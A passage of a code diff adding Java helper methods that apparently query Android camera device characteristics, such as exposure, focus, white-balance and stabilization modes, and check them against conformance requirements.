+                !availableSceneModes.contains(CameraMetadata.CONTROL_SCENE_MODE_DISABLED);
+    }
+
+    /**
+     * Get aeAvailableModes and do the sanity check.
+     *
+     * <p>Depending on the check level this class has, for WAR or COLLECT levels,
+     * If the aeMode list is invalid, return an empty mode array. The the caller doesn't
+     * have to abort the execution even the aeMode list is invalid.</p>
+     * @return AE available modes
+     */
+    public int[] getAeAvailableModesChecked() {
+        Key<int[]> modesKey = CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES;
+        int[] modes = getValueFromKeyNonNull(modesKey);
+        if (modes == null) {
+            modes = new int[0];
+        }
+        List<Integer> modeList = new ArrayList<Integer>();
+        for (int mode : modes) {
+            // Skip vendor-added modes
+            if (mode <= CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE) {
+                modeList.add(mode);
+            }
+        }
+        checkTrueForKey(modesKey, "value is empty", !modeList.isEmpty());
+        modes = new int[modeList.size()];
+        for (int i = 0; i < modeList.size(); i++) {
+            modes[i] = modeList.get(i);
+        }
+
+        // All camera device must support ON
+        checkTrueForKey(modesKey, "values " + modeList.toString() + " must contain ON mode",
+                modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON));
+
+        // All camera devices with flash units support ON_AUTO_FLASH and ON_ALWAYS_FLASH
+        Key<Boolean> flashKey= CameraCharacteristics.FLASH_INFO_AVAILABLE;
+        Boolean hasFlash = getValueFromKeyNonNull(flashKey);
+        if (hasFlash == null) {
+            hasFlash = false;
+        }
+        if (hasFlash) {
+            boolean flashModeConsistentWithFlash =
+                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH) &&
+                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
+            checkTrueForKey(modesKey,
+                    "value must contain ON_AUTO_FLASH and ON_ALWAYS_FLASH and  when flash is" +
+                    "available", flashModeConsistentWithFlash);
+        } else {
+            boolean flashModeConsistentWithoutFlash =
+                    !(modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH) ||
+                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_ALWAYS_FLASH) ||
+                    modeList.contains(CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE));
+            checkTrueForKey(modesKey,
+                    "value must not contain ON_AUTO_FLASH, ON_ALWAYS_FLASH and" +
+                    "ON_AUTO_FLASH_REDEYE when flash is unavailable",
+                    flashModeConsistentWithoutFlash);
+        }
+
+        // FULL mode camera devices always support OFF mode.
+        boolean condition =
+                !isHardwareLevelAtLeastFull() || modeList.contains(CameraMetadata.CONTROL_AE_MODE_OFF);
+        checkTrueForKey(modesKey, "Full capability device must have OFF mode", condition);
+
+        // Boundary check.
+        for (int mode : modes) {
+            checkTrueForKey(modesKey, "Value " + mode + " is out of bound",
+                    mode >= CameraMetadata.CONTROL_AE_MODE_OFF
+                    && mode <= CameraMetadata.CONTROL_AE_MODE_ON_AUTO_FLASH_REDEYE);
+        }
+
+        return modes;
+    }
+
+    /**
+     * Get available AWB modes and do the sanity check.
+     *
+     * @return array that contains available AWB modes, empty array if awbAvailableModes is
+     * unavailable.
+     */
+    public int[] getAwbAvailableModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.CONTROL_AWB_AVAILABLE_MODES;
+        int[] awbModes = getValueFromKeyNonNull(key);
+
+        if (awbModes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modesList = Arrays.asList(CameraTestUtils.toObject(awbModes));
+        checkTrueForKey(key, " All camera devices must support AUTO mode",
+                modesList.contains(CameraMetadata.CONTROL_AWB_MODE_AUTO));
+        if (isHardwareLevelAtLeastFull()) {
+            checkTrueForKey(key, " Full capability camera devices must support OFF mode",
+                    modesList.contains(CameraMetadata.CONTROL_AWB_MODE_OFF));
+        }
+
+        return awbModes;
+    }
+
+    /**
+     * Get available AF modes and do the sanity check.
+     *
+     * @return array that contains available AF modes, empty array if afAvailableModes is
+     * unavailable.
+     */
+    public int[] getAfAvailableModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES;
+        int[] afModes = getValueFromKeyNonNull(key);
+
+        if (afModes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modesList = new ArrayList<Integer>();
+        for (int afMode : afModes) {
+            // Skip vendor-added AF modes
+            if (afMode > CameraCharacteristics.CONTROL_AF_MODE_EDOF) continue;
+            modesList.add(afMode);
+        }
+        afModes = new int[modesList.size()];
+        for (int i = 0; i < modesList.size(); i++) {
+            afModes[i] = modesList.get(i);
+        }
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // Some LEGACY mode devices do not support AF OFF
+            checkTrueForKey(key, " All camera devices must support OFF mode",
+                    modesList.contains(CameraMetadata.CONTROL_AF_MODE_OFF));
+        }
+        if (hasFocuser()) {
+            checkTrueForKey(key, " Camera devices that have focuser units must support AUTO mode",
+                    modesList.contains(CameraMetadata.CONTROL_AF_MODE_AUTO));
+        }
+
+        return afModes;
+    }
+
+    /**
+     * Get supported raw output sizes and do the check.
+     *
+     * @return Empty size array if raw output is not supported
+     */
+    public Size[] getRawOutputSizesChecked() {
+        return getAvailableSizesForFormatChecked(ImageFormat.RAW_SENSOR,
+                StreamDirection.Output);
+    }
+
+    /**
+     * Get supported jpeg output sizes and do the check.
+     *
+     * @return Empty size array if jpeg output is not supported
+     */
+    public Size[] getJpegOutputSizesChecked() {
+        return getAvailableSizesForFormatChecked(ImageFormat.JPEG,
+                StreamDirection.Output);
+    }
+
+    /**
+     * Used to determine the stream direction for various helpers that look up
+     * format or size information.
+     */
+    public enum StreamDirection {
+        /** Stream is used with {@link android.hardware.camera2.CameraDevice#configureOutputs} */
+        Output,
+        /** Stream is used with {@code CameraDevice#configureInputs} -- NOT YET PUBLIC */
+        Input
+    }
+
+    /**
+     * Get available formats for a given direction.
+     *
+     * @param direction The stream direction, input or output.
+     * @return The formats of the given direction, empty array if no available format is found.
+     */
+    public int[] getAvailableFormats(StreamDirection direction) {
+        Key<StreamConfigurationMap> key =
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap config = getValueFromKeyNonNull(key);
+
+        if (config == null) {
+            return new int[0];
+        }
+
+        switch (direction) {
+            case Output:
+                return config.getOutputFormats();
+            case Input:
+                return config.getInputFormats();
+            default:
+                throw new IllegalArgumentException("direction must be output or input");
+        }
+    }
+
+    /**
+     * Get valid output formats for a given input format.
+     *
+     * @param inputFormat The input format used to produce the output images.
+     * @return The output formats for the given input format, empty array if
+     *         no available format is found.
+     */
+    public int[] getValidOutputFormatsForInput(int inputFormat) {
+        Key<StreamConfigurationMap> key =
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap config = getValueFromKeyNonNull(key);
+
+        if (config == null) {
+            return new int[0];
+        }
+
+        return config.getValidOutputFormatsForInput(inputFormat);
+    }
+
+    /**
+     * Get available sizes for given format and direction.
+     *
+     * @param format The format for the requested size array.
+     * @param direction The stream direction, input or output.
+     * @return The sizes of the given format, empty array if no available size is found.
+     */
+    public Size[] getAvailableSizesForFormatChecked(int format, StreamDirection direction) {
+        return getAvailableSizesForFormatChecked(format, direction,
+                /*fastSizes*/true, /*slowSizes*/true);
+    }
+
+    /**
+     * Get available sizes for given format and direction, and whether to limit to slow or fast
+     * resolutions.
+     *
+     * @param format The format for the requested size array.
+     * @param direction The stream direction, input or output.
+     * @param fastSizes whether to include getOutputSizes() sizes (generally faster)
+     * @param slowSizes whether to include getHighResolutionOutputSizes() sizes (generally slower)
+     * @return The sizes of the given format, empty array if no available size is found.
+     */
+    public Size[] getAvailableSizesForFormatChecked(int format, StreamDirection direction,
+            boolean fastSizes, boolean slowSizes) {
+        Key<StreamConfigurationMap> key =
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap config = getValueFromKeyNonNull(key);
+
+        if (config == null) {
+            return new Size[0];
+        }
+
+        Size[] sizes = null;
+
+        switch (direction) {
+            case Output:
+                Size[] fastSizeList = null;
+                Size[] slowSizeList = null;
+                if (fastSizes) {
+                    fastSizeList = config.getOutputSizes(format);
+                }
+                if (slowSizes) {
+                    slowSizeList = config.getHighResolutionOutputSizes(format);
+                }
+                if (fastSizeList != null && slowSizeList != null) {
+                    sizes = new Size[slowSizeList.length + fastSizeList.length];
+                    System.arraycopy(fastSizeList, 0, sizes, 0, fastSizeList.length);
+                    System.arraycopy(slowSizeList, 0, sizes, fastSizeList.length, slowSizeList.length);
+                } else if (fastSizeList != null) {
+                    sizes = fastSizeList;
+                } else if (slowSizeList != null) {
+                    sizes = slowSizeList;
+                }
+                break;
+            case Input:
+                sizes = config.getInputSizes(format);
+                break;
+            default:
+                throw new IllegalArgumentException("direction must be output or input");
+        }
+
+        if (sizes == null) {
+            sizes = new Size[0];
+        }
+
+        return sizes;
+    }
+
+    /**
+     * Get available AE target fps ranges.
+     *
+     * @return Empty int array if aeAvailableTargetFpsRanges is invalid.
+     */
+    @SuppressWarnings("raw")
+    public Range<Integer>[] getAeAvailableTargetFpsRangesChecked() {
+        Key<Range<Integer>[]> key =
+                CameraCharacteristics.CONTROL_AE_AVAILABLE_TARGET_FPS_RANGES;
+        Range<Integer>[] fpsRanges = getValueFromKeyNonNull(key);
+
+        if (fpsRanges == null) {
+            return new Range[0];
+        }
+
+        // Round down to 2 boundary if it is not integer times of 2, to avoid array out of bound
+        // in case the above check fails.
+        int fpsRangeLength = fpsRanges.length;
+        int minFps, maxFps;
+        long maxFrameDuration = getMaxFrameDurationChecked();
+        for (int i = 0; i < fpsRangeLength; i += 1) {
+            minFps = fpsRanges[i].getLower();
+            maxFps = fpsRanges[i].getUpper();
+            checkTrueForKey(key, " min fps must be no larger than max fps!",
+                    minFps > 0 && maxFps >= minFps);
+            long maxDuration = (long) (1e9 / minFps);
+            checkTrueForKey(key, String.format(
+                    " the frame duration %d for min fps %d must smaller than maxFrameDuration %d",
+                    maxDuration, minFps, maxFrameDuration), maxDuration <= maxFrameDuration);
+        }
+        return fpsRanges;
+    }
+
+    /**
+     * Get the highest supported target FPS range.
+     * Prioritizes maximizing the min FPS, then the max FPS without lowering min FPS.
+     */
+    public Range<Integer> getAeMaxTargetFpsRange() {
+        Range<Integer>[] fpsRanges = getAeAvailableTargetFpsRangesChecked();
+
+        Range<Integer> targetRange = fpsRanges[0];
+        // Assume unsorted list of target FPS ranges, so use two passes, first maximize min FPS
+        for (Range<Integer> candidateRange : fpsRanges) {
+            if (candidateRange.getLower() > targetRange.getLower()) {
+                targetRange = candidateRange;
+            }
+        }
+        // Then maximize max FPS while not lowering min FPS
+        for (Range<Integer> candidateRange : fpsRanges) {
+            if (candidateRange.getLower() >= targetRange.getLower() &&
+                    candidateRange.getUpper() > targetRange.getUpper()) {
+                targetRange = candidateRange;
+            }
+        }
+        return targetRange;
+    }
+
+    /**
+     * Get max frame duration.
+     *
+     * @return 0 if maxFrameDuration is null
+     */
+    public long getMaxFrameDurationChecked() {
+        Key<Long> key =
+                CameraCharacteristics.SENSOR_INFO_MAX_FRAME_DURATION;
+        Long maxDuration = getValueFromKeyNonNull(key);
+
+        if (maxDuration == null) {
+            return 0;
+        }
+
+        return maxDuration;
+    }
+
+    /**
+     * Get available minimal frame durations for a given format.
+     *
+     * @param format One of the format from {@link ImageFormat}.
+     * @return HashMap of minimal frame durations for different sizes, empty HashMap
+     *         if availableMinFrameDurations is null.
+     */
+    public HashMap<Size, Long> getAvailableMinFrameDurationsForFormatChecked(int format) {
+
+        HashMap<Size, Long> minDurationMap = new HashMap<Size, Long>();
+
+        Key<StreamConfigurationMap> key =
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap config = getValueFromKeyNonNull(key);
+
+        if (config == null) {
+            return minDurationMap;
+        }
+
+        for (android.util.Size size : getAvailableSizesForFormatChecked(format,
+                StreamDirection.Output)) {
+            long minFrameDuration = config.getOutputMinFrameDuration(format, size);
+
+            if (minFrameDuration != 0) {
+                minDurationMap.put(new Size(size.getWidth(), size.getHeight()), minFrameDuration);
+            }
+        }
+
+        return minDurationMap;
+    }
+
+    public int[] getAvailableEdgeModesChecked() {
+        Key<int[]> key = CameraCharacteristics.EDGE_AVAILABLE_EDGE_MODES;
+        int[] edgeModes = getValueFromKeyNonNull(key);
+
+        if (edgeModes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(edgeModes));
+        // Full device should always include OFF and FAST
+        if (isHardwareLevelAtLeastFull()) {
+            checkTrueForKey(key, "Full device must contain OFF and FAST edge modes",
+                    modeList.contains(CameraMetadata.EDGE_MODE_OFF) &&
+                    modeList.contains(CameraMetadata.EDGE_MODE_FAST));
+        }
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // FAST and HIGH_QUALITY mode must be both present or both not present
+            List<Integer> coupledModes = Arrays.asList(new Integer[] {
+                    CameraMetadata.EDGE_MODE_FAST,
+                    CameraMetadata.EDGE_MODE_HIGH_QUALITY
+            });
+            checkTrueForKey(
+                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
+                    containsAllOrNone(modeList, coupledModes));
+        }
+
+        return edgeModes;
+    }
+
+    public int[] getAvailableNoiseReductionModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.NOISE_REDUCTION_AVAILABLE_NOISE_REDUCTION_MODES;
+        int[] noiseReductionModes = getValueFromKeyNonNull(key);
+
+        if (noiseReductionModes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(noiseReductionModes));
+        // Full device should always include OFF and FAST
+        if (isHardwareLevelAtLeastFull()) {
+
+            checkTrueForKey(key, "Full device must contain OFF and FAST noise reduction modes",
+                    modeList.contains(CameraMetadata.NOISE_REDUCTION_MODE_OFF) &&
+                    modeList.contains(CameraMetadata.NOISE_REDUCTION_MODE_FAST));
+        }
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // FAST and HIGH_QUALITY mode must be both present or both not present
+            List<Integer> coupledModes = Arrays.asList(new Integer[] {
+                    CameraMetadata.NOISE_REDUCTION_MODE_FAST,
+                    CameraMetadata.NOISE_REDUCTION_MODE_HIGH_QUALITY
+            });
+            checkTrueForKey(
+                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
+                    containsAllOrNone(modeList, coupledModes));
+        }
+        return noiseReductionModes;
+    }
+
+    /**
+     * Get value of key android.control.aeCompensationStep and do the sanity check.
+     *
+     * @return default value if the value is null.
+     */
+    public Rational getAeCompensationStepChecked() {
+        Key<Rational> key =
+                CameraCharacteristics.CONTROL_AE_COMPENSATION_STEP;
+        Rational compensationStep = getValueFromKeyNonNull(key);
+
+        if (compensationStep == null) {
+            // Return default step.
+            return CONTROL_AE_COMPENSATION_STEP_DEFAULT;
+        }
+
+        // Legacy devices don't have a minimum step requirement
+        if (isHardwareLevelAtLeastLimited()) {
+            float compensationStepF =
+                    (float) compensationStep.getNumerator() / compensationStep.getDenominator();
+            checkTrueForKey(key, " value must be no more than 1/2", compensationStepF <= 0.5f);
+        }
+
+        return compensationStep;
+    }
+
+    /**
+     * Get value of key android.control.aeCompensationRange and do the sanity check.
+     *
+     * @return default value if the value is null or malformed.
+     */
+    public Range<Integer> getAeCompensationRangeChecked() {
+        Key<Range<Integer>> key =
+                CameraCharacteristics.CONTROL_AE_COMPENSATION_RANGE;
+        Range<Integer> compensationRange = getValueFromKeyNonNull(key);
+        Rational compensationStep = getAeCompensationStepChecked();
+        float compensationStepF = compensationStep.floatValue();
+        final Range<Integer> DEFAULT_RANGE = Range.create(
+                (int)(CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MIN / compensationStepF),
+                (int)(CONTROL_AE_COMPENSATION_RANGE_DEFAULT_MAX / compensationStepF));
+        final Range<Integer> ZERO_RANGE = Range.create(0, 0);
+        if (compensationRange == null) {
+            return ZERO_RANGE;
+        }
+
+        // Legacy devices don't have a minimum range requirement
+        if (isHardwareLevelAtLeastLimited() && !compensationRange.equals(ZERO_RANGE)) {
+            checkTrueForKey(key, " range value must be at least " + DEFAULT_RANGE
+                    + ", actual " + compensationRange + ", compensation step " + compensationStep,
+                   compensationRange.getLower() <= DEFAULT_RANGE.getLower() &&
+                   compensationRange.getUpper() >= DEFAULT_RANGE.getUpper());
+        }
+
+        return compensationRange;
+    }
+
+    /**
+     * Get availableVideoStabilizationModes and do the sanity check.
+     *
+     * @return available video stabilization modes, empty array if it is unavailable.
+     */
+    public int[] getAvailableVideoStabilizationModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.CONTROL_AVAILABLE_VIDEO_STABILIZATION_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        checkTrueForKey(key, " All device should support OFF mode",
+                modeList.contains(CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF));
+        checkArrayValuesInRange(key, modes,
+                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF,
+                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_ON);
+
+        return modes;
+    }
+
+    public boolean isVideoStabilizationSupported() {
+        Integer[] videoStabModes =
+                CameraTestUtils.toObject(getAvailableVideoStabilizationModesChecked());
+        return Arrays.asList(videoStabModes).contains(
+                CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_ON);
+    }
+
+    /**
+     * Get availableOpticalStabilization and do the sanity check.
+     *
+     * @return available optical stabilization modes, empty array if it is unavailable.
+     */
+    public int[] getAvailableOpticalStabilizationChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.LENS_INFO_AVAILABLE_OPTICAL_STABILIZATION;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        checkArrayValuesInRange(key, modes,
+                CameraMetadata.LENS_OPTICAL_STABILIZATION_MODE_OFF,
+                CameraMetadata.LENS_OPTICAL_STABILIZATION_MODE_ON);
+
+        return modes;
+    }
+
+    /**
+     * Get the scaler's max digital zoom ({@code >= 1.0f}) ratio between crop and active array
+     * @return the max zoom ratio, or {@code 1.0f} if the value is unavailable
+     */
+    public float getAvailableMaxDigitalZoomChecked() {
+        Key<Float> key =
+                CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM;
+
+        Float maxZoom = getValueFromKeyNonNull(key);
+        if (maxZoom == null) {
+            return 1.0f;
+        }
+
+        checkTrueForKey(key, " max digital zoom should be no less than 1",
+                maxZoom >= 1.0f && !Float.isNaN(maxZoom) && !Float.isInfinite(maxZoom));
+
+        return maxZoom;
+    }
+
+    public int[] getAvailableSceneModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.CONTROL_AVAILABLE_SCENE_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        // FACE_PRIORITY must be included if face detection is supported.
+        if (areKeysAvailable(CameraCharacteristics.STATISTICS_INFO_MAX_FACE_COUNT) &&
+                getMaxFaceCountChecked() > 0) {
+            checkTrueForKey(key, " FACE_PRIORITY must be included if face detection is supported",
+                    modeList.contains(CameraMetadata.CONTROL_SCENE_MODE_FACE_PRIORITY));
+        }
+
+        return modes;
+    }
+
+    public int[] getAvailableEffectModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.CONTROL_AVAILABLE_EFFECTS;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        // OFF must be included.
+        checkTrueForKey(key, " OFF must be included",
+                modeList.contains(CameraMetadata.CONTROL_EFFECT_MODE_OFF));
+
+        return modes;
+    }
+
+    /**
+     * Get and check the available color aberration modes
+     *
+     * @return the available color aberration modes
+     */
+    public int[] getAvailableColorAberrationModesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.COLOR_CORRECTION_AVAILABLE_ABERRATION_MODES;
+        int[] modes = getValueFromKeyNonNull(key);
+
+        if (modes == null) {
+            return new int[0];
+        }
+
+        List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+        checkTrueForKey(key, " Camera devices must always support either OFF or FAST mode",
+                modeList.contains(CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_OFF) ||
+                modeList.contains(CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_FAST));
+
+        if (isHardwareLevelAtLeastLimited()) {
+            // FAST and HIGH_QUALITY mode must be both present or both not present
+            List<Integer> coupledModes = Arrays.asList(new Integer[] {
+                    CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_FAST,
+                    CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_HIGH_QUALITY
+            });
+            checkTrueForKey(
+                    key, " FAST and HIGH_QUALITY mode must both present or both not present",
+                    containsAllOrNone(modeList, coupledModes));
+        }
+        checkElementDistinct(key, modeList);
+        checkArrayValuesInRange(key, modes,
+                CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_OFF,
+                CameraMetadata.COLOR_CORRECTION_ABERRATION_MODE_HIGH_QUALITY);
+
+        return modes;
+    }
+
+    /**
+     * Get max pipeline depth and do the sanity check.
+     *
+     * @return max pipeline depth, default value if it is not available.
+     */
+    public byte getPipelineMaxDepthChecked() {
+        Key<Byte> key =
+                CameraCharacteristics.REQUEST_PIPELINE_MAX_DEPTH;
+        Byte maxDepth = getValueFromKeyNonNull(key);
+
+        if (maxDepth == null) {
+            return REQUEST_PIPELINE_MAX_DEPTH_MAX;
+        }
+
+        checkTrueForKey(key, " max pipeline depth should be no larger than "
+                + REQUEST_PIPELINE_MAX_DEPTH_MAX, maxDepth <= REQUEST_PIPELINE_MAX_DEPTH_MAX);
+
+        return maxDepth;
+    }
+
+    /**
+     * Get available lens shading modes.
+     */
+     public int[] getAvailableLensShadingModesChecked() {
+         Key<int[]> key =
+                 CameraCharacteristics.SHADING_AVAILABLE_MODES;
+         int[] modes = getValueFromKeyNonNull(key);
+         if (modes == null) {
+             return new int[0];
+         }
+
+         List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+         // FAST must be included.
+         checkTrueForKey(key, " FAST must be included",
+                 modeList.contains(CameraMetadata.SHADING_MODE_FAST));
+
+         if (isCapabilitySupported(
+                 CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_POST_PROCESSING)) {
+             checkTrueForKey(key, " OFF must be included for MANUAL_POST_PROCESSING devices",
+                     modeList.contains(CameraMetadata.SHADING_MODE_OFF));
+         }
+         return modes;
+     }
+
+     /**
+      * Get available lens shading map modes.
+      */
+      public int[] getAvailableLensShadingMapModesChecked() {
+          Key<int[]> key =
+                  CameraCharacteristics.STATISTICS_INFO_AVAILABLE_LENS_SHADING_MAP_MODES;
+          int[] modes = getValueFromKeyNonNull(key);
+          if (modes == null) {
+              return new int[0];
+          }
+
+          List<Integer> modeList = Arrays.asList(CameraTestUtils.toObject(modes));
+
+          if (isCapabilitySupported(
+                  CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
+              checkTrueForKey(key, " ON must be included for RAW capability devices",
+                      modeList.contains(CameraMetadata.STATISTICS_LENS_SHADING_MAP_MODE_ON));
+          }
+          return modes;
+      }
+
+
+    /**
+     * Get available capabilities and do the sanity check.
+     *
+     * @return reported available capabilities list, empty list if the value is unavailable.
+     */
+    public List<Integer> getAvailableCapabilitiesChecked() {
+        Key<int[]> key =
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES;
+        int[] availableCaps = getValueFromKeyNonNull(key);
+        List<Integer> capList;
+
+        if (availableCaps == null) {
+            return new ArrayList<Integer>();
+        }
+
+        checkArrayValuesInRange(key, availableCaps,
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE,
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_CONSTRAINED_HIGH_SPEED_VIDEO);
+        capList = Arrays.asList(CameraTestUtils.toObject(availableCaps));
+        return capList;
+    }
+
+    /**
+     * Determine whether the current device supports a capability or not.
+     *
+     * @param capability (non-negative)
+     *
+     * @return {@code true} if the capability is supported, {@code false} otherwise.
+     *
+     * @throws IllegalArgumentException if {@code capability} was negative
+     *
+     * @see CameraCharacteristics#REQUEST_AVAILABLE_CAPABILITIES
+     */
+    public boolean isCapabilitySupported(int capability) {
+        if (capability < 0) {
+            throw new IllegalArgumentException("capability must be non-negative");
+        }
+
+        List<Integer> availableCapabilities = getAvailableCapabilitiesChecked();
+
+        return availableCapabilities.contains(capability);
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available characteristics keys
+     * (as in {@link CameraCharacteristics#getKeys}.
+     *
+     * <p>If this returns {@code true}, then querying for this key from a characteristics
+     * object will always return a non-{@code null} value.</p>
+     *
+     * @param keys collection of camera characteristics keys
+     * @return whether or not all characteristics keys are available
+     */
+    public final boolean areCharacteristicsKeysAvailable(
+            Collection<CameraCharacteristics.Key<?>> keys) {
+        return mCharacteristics.getKeys().containsAll(keys);
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available result keys
+     * (as in {@link CameraCharacteristics#getAvailableCaptureResultKeys}.
+     *
+     * <p>If this returns {@code true}, then querying for this key from a result
+     * object will almost always return a non-{@code null} value.</p>
+     *
+     * <p>In some cases (e.g. lens shading map), the request must have additional settings
+     * configured in order for the key to correspond to a value.</p>
+     *
+     * @param keys collection of capture result keys
+     * @return whether or not all result keys are available
+     */
+    public final boolean areResultKeysAvailable(Collection<CaptureResult.Key<?>> keys) {
+        return mCharacteristics.getAvailableCaptureResultKeys().containsAll(keys);
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available request keys
+     * (as in {@link CameraCharacteristics#getAvailableCaptureRequestKeys}.
+     *
+     * <p>If this returns {@code true}, then setting this key in the request builder
+     * may have some effect (and if it's {@code false}, then the camera device will
+     * definitely ignore it).</p>
+     *
+     * <p>In some cases (e.g. manual control of exposure), other keys must be also be set
+     * in order for a key to take effect (e.g. control.mode set to OFF).</p>
+     *
+     * @param keys collection of capture request keys
+     * @return whether or not all result keys are available
+     */
+    public final boolean areRequestKeysAvailable(Collection<CaptureRequest.Key<?>> keys) {
+        return mCharacteristics.getAvailableCaptureRequestKeys().containsAll(keys);
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available characteristics keys
+     * (as in {@link CameraCharacteristics#getKeys}.
+     *
+     * <p>If this returns {@code true}, then querying for this key from a characteristics
+     * object will always return a non-{@code null} value.</p>
+     *
+     * @param keys one or more camera characteristic keys
+     * @return whether or not all characteristics keys are available
+     */
+    @SafeVarargs
+    public final boolean areKeysAvailable(CameraCharacteristics.Key<?>... keys) {
+        return areCharacteristicsKeysAvailable(Arrays.asList(keys));
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available result keys
+     * (as in {@link CameraCharacteristics#getAvailableCaptureResultKeys}.
+     *
+     * <p>If this returns {@code true}, then querying for this key from a result
+     * object will almost always return a non-{@code null} value.</p>
+     *
+     * <p>In some cases (e.g. lens shading map), the request must have additional settings
+     * configured in order for the key to correspond to a value.</p>
+     *
+     * @param keys one or more capture result keys
+     * @return whether or not all result keys are available
+     */
+    @SafeVarargs
+    public final boolean areKeysAvailable(CaptureResult.Key<?>... keys) {
+        return areResultKeysAvailable(Arrays.asList(keys));
+    }
+
+    /**
+     * Determine whether or not all the {@code keys} are available request keys
+     * (as in {@link CameraCharacteristics#getAvailableCaptureRequestKeys}.
+     *
+     * <p>If this returns {@code true}, then setting this key in the request builder
+     * may have some effect (and if it's {@code false}, then the camera device will
+     * definitely ignore it).</p>
+     *
+     * <p>In some cases (e.g. manual control of exposure), other keys must be also be set
+     * in order for a key to take effect (e.g. control.mode set to OFF).</p>
+     *
+     * @param keys one or more capture request keys
+     * @return whether or not all result keys are available
+     */
+    @SafeVarargs
+    public final boolean areKeysAvailable(CaptureRequest.Key<?>... keys) {
+        return areRequestKeysAvailable(Arrays.asList(keys));
+    }
+
+    /*
+     * Determine if camera device support AE lock control
+     *
+     * @return {@code true} if AE lock control is supported
+     */
+    public boolean isAeLockSupported() {
+        return getValueFromKeyNonNull(CameraCharacteristics.CONTROL_AE_LOCK_AVAILABLE);
+    }
+
+    /*
+     * Determine if camera device support AWB lock control
+     *
+     * @return {@code true} if AWB lock control is supported
+     */
+    public boolean isAwbLockSupported() {
+        return getValueFromKeyNonNull(CameraCharacteristics.CONTROL_AWB_LOCK_AVAILABLE);
+    }
+
+
+    /*
+     * Determine if camera device support manual lens shading map control
+     *
+     * @return {@code true} if manual lens shading map control is supported
+     */
+    public boolean isManualLensShadingMapSupported() {
+        return areKeysAvailable(CaptureRequest.SHADING_MODE);
+    }
+
+    /**
+     * Determine if camera device support manual color correction control
+     *
+     * @return {@code true} if manual color correction control is supported
+     */
+    public boolean isColorCorrectionSupported() {
+        return areKeysAvailable(CaptureRequest.COLOR_CORRECTION_MODE);
+    }
+
+    /**
+     * Determine if camera device support manual tone mapping control
+     *
+     * @return {@code true} if manual tone mapping control is supported
+     */
+    public boolean isManualToneMapSupported() {
+        return areKeysAvailable(CaptureRequest.TONEMAP_MODE);
+    }
+
+    /**
+     * Determine if camera device support manual color aberration control
+     *
+     * @return {@code true} if manual color aberration control is supported
+     */
+    public boolean isManualColorAberrationControlSupported() {
+        return areKeysAvailable(CaptureRequest.COLOR_CORRECTION_ABERRATION_MODE);
+    }
+
+    /**
+     * Determine if camera device support edge mode control
+     *
+     * @return {@code true} if edge mode control is supported
+     */
